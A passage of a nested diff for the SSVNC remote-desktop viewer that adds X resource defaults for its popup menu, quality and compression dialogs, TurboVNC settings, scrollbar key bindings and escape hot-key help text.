-+ <Btn1Down>,<Btn1Up>: SetQuality(1) HideQuality()
-+
-+*quality*button2.label: 2
-+
-+*quality*button2.type: toggle
-+
-+*quality*button2.translations: #override\n\
-+ <Visible>: SetQualityState(2)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(2) HideQuality()
-+
-+*quality*button3.label: 3
-+
-+*quality*button3.type: toggle
-+
-+*quality*button3.translations: #override\n\
-+ <Visible>: SetQualityState(3)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(3) HideQuality()
-+
-+*quality*button4.label: 4
-+
-+*quality*button4.type: toggle
-+
-+*quality*button4.translations: #override\n\
-+ <Visible>: SetQualityState(4)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(4) HideQuality()
-+
-+*quality*button5.label: 5
-+
-+*quality*button5.type: toggle
-+
-+*quality*button5.translations: #override\n\
-+ <Visible>: SetQualityState(5)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(5) HideQuality()
-+
-+*quality*button6.label: 6
-+
-+*quality*button6.type: toggle
-+
-+*quality*button6.translations: #override\n\
-+ <Visible>: SetQualityState(6)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(6) HideQuality()
-+
-+*quality*button7.label: 7
-+
-+*quality*button7.type: toggle
-+
-+*quality*button7.translations: #override\n\
-+ <Visible>: SetQualityState(7)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(7) HideQuality()
-+
-+*quality*button8.label: 8
-+
-+*quality*button8.type: toggle
-+
-+*quality*button8.translations: #override\n\
-+ <Visible>: SetQualityState(8)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(8) HideQuality()
-+
-+*quality*button9.label: 9
-+
-+*quality*button9.type: toggle
-+
-+*quality*button9.translations: #override\n\
-+ <Visible>: SetQualityState(9)\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(9) HideQuality()
-+
-+*compress*buttonD.label: Dismiss
-+
-+*compress*buttonD.translations: #override\n\
-+ <Btn1Down>,<Btn1Up>: HideCompress()
-+
-+*compress*button0.label: 0
-+
-+*compress*button0.translations: #override\n\
-+ <Visible>: SetCompressState(0)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(0) HideCompress()
-+
-+*compress*button1.label: 1
-+
-+*compress*button1.translations: #override\n\
-+ <Visible>: SetCompressState(1)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(1) HideCompress()
-+
-+*compress*button2.label: 2
-+
-+*compress*button2.translations: #override\n\
-+ <Visible>: SetCompressState(2)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(2) HideCompress()
-+
-+*compress*button3.label: 3
-+
-+*compress*button3.translations: #override\n\
-+ <Visible>: SetCompressState(3)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(3) HideCompress()
-+
-+*compress*button4.label: 4
-+
-+*compress*button4.translations: #override\n\
-+ <Visible>: SetCompressState(4)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(4) HideCompress()
-+
-+*compress*button5.label: 5
-+
-+*compress*button5.translations: #override\n\
-+ <Visible>: SetCompressState(5)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(5) HideCompress()
-+
-+*compress*button6.label: 6
-+
-+*compress*button6.translations: #override\n\
-+ <Visible>: SetCompressState(6)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(6) HideCompress()
-+
-+*compress*button7.label: 7
-+
-+*compress*button7.translations: #override\n\
-+ <Visible>: SetCompressState(7)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(7) HideCompress()
-+
-+*compress*button8.label: 8
-+
-+*compress*button8.translations: #override\n\
-+ <Visible>: SetCompressState(8)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(8) HideCompress()
-+
-+*compress*button9.label: 9
-+
-+*compress*button9.translations: #override\n\
-+ <Visible>: SetCompressState(9)\n\
-+ <Btn1Down>,<Btn1Up>: SetCompress(9) HideCompress()
-+
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/argsresources.c vnc_unixsrc/vncviewer/argsresources.c
---- vnc_unixsrc.orig/vncviewer/argsresources.c 2007-02-04 17:10:31.000000000 -0500
-+++ vnc_unixsrc/vncviewer/argsresources.c 2010-04-18 12:39:55.000000000 -0400
-@@ -31,9 +31,9 @@
-
- char *fallback_resources[] = {
-
-- "Vncviewer.title: TightVNC: %s",
-+ "Ssvnc.title: SSVNC: %s - Press F8 for Menu",
-
-- "Vncviewer.translations:\
-+ "Ssvnc.translations:\
- <Enter>: SelectionToVNC()\\n\
- <Leave>: SelectionFromVNC()",
-
-@@ -45,8 +45,60 @@
- "*viewport.useRight: True",
- "*viewport*Scrollbar*thumb: None",
-
-+ "*viewport.horizontal.height: 6 ",
-+ "*viewport.vertical.width: 6 ",
-+ "ssvnc*viewport.horizontal.height: 6 ",
-+ "ssvnc*viewport.vertical.width: 6 ",
-+
-+ "*viewport.horizontal.translations: #override\\n\
-+ <KeyPress>Right: StartScroll(Forward)\\n\
-+ <KeyRelease>Right: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Left: StartScroll(Backward)\\n\
-+ <KeyRelease>Left: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Next: StartScroll(Forward)\\n\
-+ <KeyRelease>Next: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Prior: StartScroll(Backward)\\n\
-+ <KeyRelease>Prior: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>z: StartScroll(Forward)\\n\
-+ <KeyRelease>z: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>a: StartScroll(Backward)\\n\
-+ <KeyRelease>a: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>f: StartScroll(Forward)\\n\
-+ <KeyRelease>f: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>b: StartScroll(Backward)\\n\
-+ <KeyRelease>b: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Down: StartScroll(Forward)\\n\
-+ <KeyRelease>Down: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Up: StartScroll(Backward)\\n\
-+ <KeyRelease>Up: NotifyScroll(FullLength) EndScroll()",
-+
-+ "*viewport.vertical.translations: #override\\n\
-+ <KeyPress>Down: StartScroll(Forward)\\n\
-+ <KeyRelease>Down: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Up: StartScroll(Backward)\\n\
-+ <KeyRelease>Up: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Next: StartScroll(Forward)\\n\
-+ <KeyRelease>Next: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Prior: StartScroll(Backward)\\n\
-+ <KeyRelease>Prior: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>z: StartScroll(Forward)\\n\
-+ <KeyRelease>z: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>a: StartScroll(Backward)\\n\
-+ <KeyRelease>a: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>f: StartScroll(Forward)\\n\
-+ <KeyRelease>f: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>b: StartScroll(Backward)\\n\
-+ <KeyRelease>b: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Right: StartScroll(Forward)\\n\
-+ <KeyRelease>Right: NotifyScroll(FullLength) EndScroll()\\n\
-+ <KeyPress>Left: StartScroll(Backward)\\n\
-+ <KeyRelease>Left: NotifyScroll(FullLength) EndScroll()",
-+
- "*desktop.baseTranslations:\
-- <Key>F8: ShowPopup()\\n\
-+ <KeyPress>F8: ShowPopup()\\n\
-+ <KeyRelease>F8: Noop()\\n\
-+ <KeyPress>F9: ToggleFullScreen()\\n\
-+ <KeyRelease>F9: Noop()\\n\
- <ButtonPress>: SendRFBEvent()\\n\
- <ButtonRelease>: SendRFBEvent()\\n\
- <Motion>: SendRFBEvent()\\n\
-@@ -55,26 +107,137 @@
-
- "*serverDialog.dialog.label: VNC server:",
- "*serverDialog.dialog.value:",
-+ "*serverDialog.dialog.value.width: 150",
- "*serverDialog.dialog.value.translations: #override\\n\
- <Key>Return: ServerDialogDone()",
-
-- "*passwordDialog.dialog.label: Password:",
-+ "*userDialog.dialog.label: SSVNC: Enter Username",
-+ "*userDialog.dialog.value:",
-+ "*userDialog.dialog.value.width: 150",
-+ "*userDialog.dialog.value.translations: #override\\n\
-+ <Key>Return: UserDialogDone()",
-+
-+ "*scaleDialog.dialog.label: Scale: Enter 'none' (same as '1' or '1.0'),\\na geometry WxH (e.g. 1280x1024), or\\na fraction (e.g. 0.75 or 3/4).\\nUse 'fit' for full screen size.\\nUse 'auto' to match window size.\\nCurrent value:",
-+ "*scaleDialog.dialog.value:",
-+ "*scaleDialog.dialog.value.translations: #override\\n\
-+ <KeyRelease>Return: ScaleDialogDone()",
-+
-+ "*escapeDialog.dialog.label: Escape Keys: Enter a comma separated list of modifier keys to be the\\n"
-+ "'escape sequence'. When these keys are held down, the next keystroke is\\n"
-+ "interpreted locally to invoke a special action instead of being sent to\\n"
-+ "the remote VNC server. In other words, a set of 'Hot Keys'.\\n"
-+ "\\n"
-+ "To enable or disable this, click on 'Escape Keys: Toggle' in the Popup.\\n"
-+ "\\n"
-+ "Here is the list of hot-key mappings to special actions:\\n"
-+ "\\n"
-+ " r: refresh desktop b: toggle bell c: toggle full-color\\n"
-+ " f: file transfer x: x11cursor z: toggle Tight/ZRLE\\n"
-+ " l: full screen g: graball e: escape keys dialog\\n"
-+ " s: scale dialog +: scale up (=) -: scale down (_)\\n"
-+ " t: text chat a: alphablend cursor\\n"
-+ " V: toggle viewonly Q: quit viewer 1 2 3 4 5 6: UltraVNC scale 1/n\\n"
-+ "\\n"
-+ " Arrow keys: pan the viewport about 10% for each keypress.\\n"
-+ " PageUp / PageDown: pan the viewport by a screenful vertically.\\n"
-+ " Home / End: pan the viewport by a screenful horizontally.\\n"
-+ " KeyPad Arrow keys: pan the viewport by 1 pixel for each keypress.\\n"
-+ " Dragging the Mouse with Button1 pressed also pans the viewport.\\n"
-+ " Clicking Mouse Button3 brings up the Popup Menu.\\n"
-+ "\\n"
-+ "The above mappings are *always* active in ViewOnly mode, unless you set the\\n"
-+ "Escape Keys value to 'never'.\\n"
-+ "\\n"
-+ "x11vnc -appshare hot-keys: x11vnc has a simple application sharing mode\\n"
-+ "that enables the viewer-side to move, resize, or raise the remote toplevel\\n"
-+ "windows. To enable it, hold down Shift + the Escape Keys and press these:\\n"
-+ "\\n"
-+ " Arrow keys: move the remote window around in its desktop.\\n"
-+ " PageUp/PageDn/Home/End: resize the remote window.\\n"
-+ " +/- raise or lower the remote window.\\n"
-+ " M or Button1 move win to local position; D or Button3: delete remote win.\\n"
-+ "\\n"
-+ "If the Escape Keys value below is set to 'default' then a fixed list of\\n"
-+ "modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it is\\n"
-+ "Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag.\\n"
-+ "Also note the _L and _R mean the key is on the LEFT or RIGHT side of keyboard.\\n"
-+ "\\n"
-+ "On Unix the default is Alt and Windows keys on Left side of keyboard.\\n"
-+ "On MacOSX the default is Control and Command keys on Left side of keyboard.\\n"
-+ "\\n"
-+ "Example: Press and hold the Alt and Windows keys on the LEFT side of the\\n"
-+ "keyboard and then press 'c' to toggle the full-color state. Or press 't'\\n"
-+ "to toggle the ultravnc Text Chat window, etc.\\n"
-+ "\\n"
-+ "To use something besides the default, supply a comma separated list (or a\\n"
-+ "single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L\\n"
-+ "Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.\\n"
-+ "\\n"
-+ "Current Escape Keys Value:",
-+ "*escapeDialog.dialog.value:",
-+ "*escapeDialog.dialog.value.width: 280",
-+ "*escapeDialog.dialog.value.translations: #override\\n\
-+ <KeyRelease>Return: EscapeDialogDone()",
-+
-+ "*ycropDialog.dialog.label: Y Crop (max-height in pixels):",
-+ "*ycropDialog.dialog.value:",
-+ "*ycropDialog.dialog.value.translations: #override\\n\
-+ <KeyRelease>Return: YCropDialogDone()",
-+
-+ "*scbarDialog.dialog.label: Scroll Bars width:",
-+ "*scbarDialog.dialog.value:",
-+ "*scbarDialog.dialog.value.translations: #override\\n\
-+ <KeyRelease>Return: ScbarDialogDone()",
-+
-+ "*scaleNDialog.dialog.label: Integer n for 1/n server scaling:",
-+ "*scaleNDialog.dialog.value:",
-+ "*scaleNDialog.dialog.value.translations: #override\\n\
-+ <KeyRelease>Return: ScaleNDialogDone()",
-+
-+ "*passwordDialog.dialog.label: SSVNC: Enter Password",
- "*passwordDialog.dialog.value:",
-+ "*passwordDialog.dialog.value.width: 150",
- "*passwordDialog.dialog.value.AsciiSink.echo: False",
- "*passwordDialog.dialog.value.translations: #override\\n\
- <Key>Return: PasswordDialogDone()",
-
-- "*popup.title: TightVNC popup",
-+ "*popup.title: SSVNC popup",
- "*popup*background: grey",
-- "*popup*font: -*-helvetica-bold-r-*-*-16-*-*-*-*-*-*-*",
-- "*popup.buttonForm.Command.borderWidth: 0",
-- "*popup.buttonForm.Toggle.borderWidth: 0",
-+ "*popup*font_old: -*-helvetica-bold-r-*-*-16-*-*-*-*-*-*-*",
-+ "*popup*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*",
-+ "*popup.buttonForm*.Command.borderWidth: 0",
-+ "*popup.buttonForm*.Toggle.borderWidth: 0",
-+
-+ "*scaleN.title: 1/n scale",
-+ "*scaleN*background: grey",
-+ "*scaleN*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*",
-+ "*scaleN.buttonForm.Command.borderWidth: 0",
-+ "*scaleN.buttonForm.Toggle.borderWidth: 0",
-+
-+ "*turboVNC.title: TurboVNC",
-+ "*turboVNC*background: grey",
-+ "*turboVNC*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*",
-+ "*turboVNC.buttonForm.Command.borderWidth: 0",
-+ "*turboVNC.buttonForm.Toggle.borderWidth: 0",
-+
-+ "*quality.title: quality",
-+ "*quality*background: grey",
-+ "*quality*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*",
-+ "*quality.buttonForm.Command.borderWidth: 0",
-+ "*quality.buttonForm.Toggle.borderWidth: 0",
-+
-+ "*compress.title: compress",
-+ "*compress*background: grey",
-+ "*compress*font: -*-helvetica-medium-r-*-*-12-*-*-*-*-*-*-*",
-+ "*compress.buttonForm.Command.borderWidth: 0",
-+ "*compress.buttonForm.Toggle.borderWidth: 0",
-
- "*popup.translations: #override <Message>WM_PROTOCOLS: HidePopup()",
- "*popup.buttonForm.translations: #override\\n\
- <KeyPress>: SendRFBEvent() HidePopup()",
-
-- "*popupButtonCount: 8",
-+ "*popupButtonCount: 44",
-+ "*popupButtonBreak: 22",
-
- "*popup*button1.label: Dismiss popup",
- "*popup*button1.translations: #override\\n\
-@@ -84,7 +247,7 @@
- "*popup*button2.translations: #override\\n\
- <Btn1Down>,<Btn1Up>: Quit()",
-
-- "*popup*button3.label: Full screen",
-+ "*popup*button3.label: Full screen (also F9)",
- "*popup*button3.type: toggle",
- "*popup*button3.translations: #override\\n\
- <Visible>: SetFullScreenState()\\n\
-@@ -105,16 +268,426 @@
- "*popup*button7.label: Send ctrl-alt-del",
- "*popup*button7.translations: #override\\n\
- <Btn1Down>,<Btn1Up>: SendRFBEvent(keydown,Control_L)\
-- SendRFBEvent(keydown,Alt_L)\
-- SendRFBEvent(key,Delete)\
-- SendRFBEvent(keyup,Alt_L)\
-- SendRFBEvent(keyup,Control_L)\
-- HidePopup()",
-+ SendRFBEvent(keydown,Alt_L)\
-+ SendRFBEvent(key,Delete)\
-+ SendRFBEvent(keyup,Alt_L)\
-+ SendRFBEvent(keyup,Control_L)\
-+ HidePopup()",
-
- "*popup*button8.label: Send F8",
- "*popup*button8.translations: #override\\n\
- <Btn1Down>,<Btn1Up>: SendRFBEvent(key,F8) HidePopup()",
-
-+ "*popup*button9.label: Send F9",
-+ "*popup*button9.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SendRFBEvent(key,F9) HidePopup()",
-+
-+ "*popup*button10.label: ViewOnly",
-+ "*popup*button10.type: toggle",
-+ "*popup*button10.translations: #override\\n\
-+ <Visible>: SetViewOnlyState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleViewOnly() HidePopup()",
-+
-+ "*popup*button11.label: Disable Bell",
-+ "*popup*button11.type: toggle",
-+ "*popup*button11.translations: #override\\n\
-+ <Visible>: SetBellState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleBell() HidePopup()",
-+
-+ "*popup*button12.label: Cursor Shape",
-+ "*popup*button12.type: toggle",
-+ "*popup*button12.translations: #override\\n\
-+ <Visible>: SetCursorShapeState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleCursorShape() HidePopup()",
-+
-+ "*popup*button13.label: X11 Cursor",
-+ "*popup*button13.type: toggle",
-+ "*popup*button13.translations: #override\\n\
-+ <Visible>: SetX11CursorState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleX11Cursor() HidePopup()",
-+
-+ "*popup*button14.label: Cursor Alphablend",
-+ "*popup*button14.type: toggle",
-+ "*popup*button14.translations: #override\\n\
-+ <Visible>: SetCursorAlphaState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleCursorAlpha() HidePopup()",
-+
-+ "*popup*button15.label: Toggle Tight/Hextile",
-+ "*popup*button15.type: toggle",
-+ "*popup*button15.translations: #override\\n\
-+ <Visible>: SetHextileState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleTightHextile() HidePopup()",
-+
-+ "*popup*button16.label: Toggle Tight/ZRLE",
-+ "*popup*button16.type: toggle",
-+ "*popup*button16.translations: #override\\n\
-+ <Visible>: SetZRLEState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleTightZRLE() HidePopup()",
-+
-+ "*popup*button17.label: Toggle ZRLE/ZYWRLE",
-+ "*popup*button17.type: toggle",
-+ "*popup*button17.translations: #override\\n\
-+ <Visible>: SetZYWRLEState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleZRLEZYWRLE() HidePopup()",
-+
-+ "*popup*button18.label: Quality Level",
-+ "*popup*button18.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowQuality()",
-+
-+ "*popup*button19.label: Compress Level",
-+ "*popup*button19.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowCompress()",
-+
-+ "*popup*button20.label: Disable JPEG",
-+ "*popup*button20.type: toggle",
-+ "*popup*button20.translations: #override\\n\
-+ <Visible>: SetNOJPEGState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleJPEG() HidePopup()",
-+
-+ "*popup*button21.label: TurboVNC Settings",
-+ "*popup*button21.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowTurboVNC()",
-+
-+ "*popup*button22.label: Pipeline Updates",
-+ "*popup*button22.type: toggle",
-+ "*popup*button22.translations: #override\\n\
-+ <Visible>: SetPipelineUpdates()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() TogglePipelineUpdates() HidePopup()",
-+
-+ "*popup*button23.label: Full Color",
-+ "*popup*button23.type: toggle",
-+ "*popup*button23.translations: #override\\n\
-+ <Visible>: SetFullColorState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleFullColor() HidePopup()",
-+
-+ "*popup*button24.label: Grey Scale (16 & 8-bpp)",
-+ "*popup*button24.type: toggle",
-+ "*popup*button24.translations: #override\\n\
-+ <Visible>: SetGreyScaleState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleGreyScale() HidePopup()",
-+
-+ "*popup*button25.label: 16 bit color (BGR565)",
-+ "*popup*button25.type: toggle",
-+ "*popup*button25.translations: #override\\n\
-+ <Visible>: Set16bppState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle16bpp() HidePopup()",
-+
-+ "*popup*button26.label: 8 bit color (BGR233)",
-+ "*popup*button26.type: toggle",
-+ "*popup*button26.translations: #override\\n\
-+ <Visible>: Set8bppState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle8bpp() HidePopup()",
-+
-+ "*popup*button27.label: - 256 colors",
-+ "*popup*button27.type: toggle",
-+ "*popup*button27.translations: #override\\n\
-+ <Visible>: Set256ColorsState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle256Colors() HidePopup()",
-+
-+ "*popup*button28.label: - 64 colors",
-+ "*popup*button28.type: toggle",
-+ "*popup*button28.translations: #override\\n\
-+ <Visible>: Set64ColorsState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle64Colors() HidePopup()",
-+
-+ "*popup*button29.label: - 8 colors",
-+ "*popup*button29.type: toggle",
-+ "*popup*button29.translations: #override\\n\
-+ <Visible>: Set8ColorsState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() Toggle8Colors() HidePopup()",
-+
-+ "*popup*button30.label: Scale Viewer",
-+ "*popup*button30.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() SetScale()",
-+
-+ "*popup*button31.label: Escape Keys: Toggle",
-+ "*popup*button31.type: toggle",
-+ "*popup*button31.translations: #override\\n\
-+ <Visible>: SetEscapeKeysState()\\n\
-+ <Btn1Down>, <Btn1Up>: toggle() ToggleEscapeActive() HidePopup()",
-+
-+ "*popup*button32.label: Escape Keys: Help+Set",
-+ "*popup*button32.translations: #override\\n\
-+ <Btn1Down>, <Btn1Up>: HidePopup() SetEscapeKeys()",
-+
-+ "*popup*button33.label: Set Y Crop (y-max)",
-+ "*popup*button33.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() SetYCrop()",
-+
-+ "*popup*button34.label: Set Scrollbar Width",
-+ "*popup*button34.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() SetScbar()",
-+
-+ "*popup*button35.label: XGrabServer",
-+ "*popup*button35.type: toggle",
-+ "*popup*button35.translations: #override\\n\
-+ <Visible>: SetXGrabState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleXGrab() HidePopup()",
-+
-+ "*popup*button36.label: UltraVNC Extensions:",
-+ "*popup*button36.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup()",
-+
-+ "*popup*button37.label: - Set 1/n Server Scale",
-+ "*popup*button37.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HidePopup() ShowScaleN()",
-+
-+ "*popup*button38.label: - Text Chat",
-+ "*popup*button38.type: toggle",
-+ "*popup*button38.translations: #override\\n\
-+ <Visible>: SetTextChatState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleTextChat() HidePopup()",
-+
-+ "*popup*button39.label: - File Transfer",
-+ "*popup*button39.type: toggle",
-+ "*popup*button39.translations: #override\\n\
-+ <Visible>: SetFileXferState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleFileXfer() HidePopup()",
-+
-+ "*popup*button40.label: - Single Window",
-+ "*popup*button40.type: toggle",
-+ "*popup*button40.translations: #override\\n\
-+ <Visible>: SetSingleWindowState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleSingleWindow() HidePopup()",
-+
-+ "*popup*button41.label: - Disable Remote Input",
-+ "*popup*button41.type: toggle",
-+ "*popup*button41.translations: #override\\n\
-+ <Visible>: SetServerInputState()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleServerInput() HidePopup()",
-+
-+ "*popup*button42.label: Send Clipboard not Primary",
-+ "*popup*button42.type: toggle",
-+ "*popup*button42.translations: #override\\n\
-+ <Visible>: SetSendClipboard()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleSendClipboard() HidePopup()",
-+
-+ "*popup*button43.label: Send Selection Every time",
-+ "*popup*button43.type: toggle",
-+ "*popup*button43.translations: #override\\n\
-+ <Visible>: SetSendAlways()\\n\
-+ <Btn1Down>,<Btn1Up>: toggle() ToggleSendAlways() HidePopup()",
-+
-+ "*popup*button44.label: ",
-+
-+ "*turboVNC*button0.label: Dismiss",
-+ "*turboVNC*button0.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HideTurboVNC()",
-+
-+ "*turboVNC*button1.label: High Quality (LAN)",
-+ "*turboVNC*button1.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(1)",
-+
-+ "*turboVNC*button2.label: Medium Quality",
-+ "*turboVNC*button2.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(2)",
-+
-+ "*turboVNC*button3.label: Low Quality (WAN)",
-+ "*turboVNC*button3.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(3)",
-+
-+ "*turboVNC*button4.label: Lossless (Gigabit)",
-+ "*turboVNC*button4.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(4)",
-+
-+ "*turboVNC*button5.label: Lossless Zlib (WAN)",
-+ "*turboVNC*button5.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(5)",
-+
-+ "*turboVNC*button6.label: Subsampling:",
-+
-+ "*turboVNC*button7.label: - None",
-+ "*turboVNC*button7.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(6)",
-+
-+ "*turboVNC*button8.label: - 2X",
-+ "*turboVNC*button8.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(7)",
-+
-+ "*turboVNC*button9.label: - 4X",
-+ "*turboVNC*button9.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(8)",
-+
-+ "*turboVNC*button10.label: - Gray",
-+ "*turboVNC*button10.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(9)",
-+
-+ "*turboVNC*button11.label: Lossless Refresh",
-+ "*turboVNC*button11.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SetTurboVNC(10)",
-+
-+ "*turboVNC*button12.label: Lossy Refresh",
-+ "*turboVNC*button12.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: SendRFBEvent(fbupdate)",
-+
-+ "*turboVNC*buttonNone.label: Not Compiled with\\nTurboVNC Support.",
-+ "*turboVNC*buttonNone.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HideTurboVNC()",
-+
-+ "*qualLabel.label: JPEG Image Quality:",
-+ "*qualBar.length: 100",
-+ "*qualBar.width: 130",
-+ "*qualBar.orientation: horizontal",
-+ "*qualBar.translations: #override\\n\
-+ <Btn1Down>: StartScroll(Continuous) MoveThumb() NotifyThumb()\\n\
-+ <Btn1Motion>: MoveThumb() NotifyThumb()\\n\
-+ <Btn3Down>: StartScroll(Continuous) MoveThumb() NotifyThumb()\\n\
-+ <Btn3Motion>: MoveThumb() NotifyThumb()",
-+
-+ "*qualText.label: 000",
-+
-+ "*scaleN*button0.label: Dismiss",
-+ "*scaleN*button0.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HideScaleN()",
-+
-+ "*scaleN*button1.label: 1/1",
-+ "*scaleN*button1.translations: #override\\n\
-+ <Visible>: SetScaleNState(1)\\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(1) HideScaleN()",
-+
-+ "*scaleN*button2.label: 1/2",
-+ "*scaleN*button2.translations: #override\\n\
-+ <Visible>: SetScaleNState(2)\\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(2) HideScaleN()",
-+
-+ "*scaleN*button3.label: 1/3",
-+ "*scaleN*button3.translations: #override\\n\
-+ <Visible>: SetScaleNState(3)\\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(3) HideScaleN()",
-+
-+ "*scaleN*button4.label: 1/4",
-+ "*scaleN*button4.translations: #override\\n\
-+ <Visible>: SetScaleNState(4)\\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(4) HideScaleN()",
-+
-+ "*scaleN*button5.label: 1/5",
-+ "*scaleN*button5.translations: #override\\n\
-+ <Visible>: SetScaleNState(5)\\n\
-+ <Btn1Down>,<Btn1Up>: SetScaleN(5) HideScaleN()",
-+
-+ "*scaleN*button6.label: Other",
-+ "*scaleN*button6.translations: #override\\n\
-+ <Visible>: SetScaleNState(6)\\n\
-+ <Btn1Down>,<Btn1Up>: HideScaleN() DoServerScale()",
-+
-+ "*quality*buttonD.label: Dismiss",
-+ "*quality*buttonD.translations: #override\\n\
-+ <Btn1Down>,<Btn1Up>: HideQuality()",
-+
-+ "*quality*button0.label: 0",
-+ "*quality*button0.type: toggle",
-+ "*quality*button0.translations: #override\\n\
-+ <Visible>: SetQualityState(0)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(0) HideQuality()",
-+
-+ "*quality*button1.label: 1",
-+ "*quality*button1.type: toggle",
-+ "*quality*button1.translations: #override\\n\
-+ <Visible>: SetQualityState(1)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(1) HideQuality()",
-+
-+ "*quality*button2.label: 2",
-+ "*quality*button2.type: toggle",
-+ "*quality*button2.translations: #override\\n\
-+ <Visible>: SetQualityState(2)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(2) HideQuality()",
-+
-+ "*quality*button3.label: 3",
-+ "*quality*button3.type: toggle",
-+ "*quality*button3.translations: #override\\n\
-+ <Visible>: SetQualityState(3)\\n\
-+ <Btn1Down>,<Btn1Up>: SetQuality(3) HideQuality()",
-+
-+ "*quality*button4.label: 4",
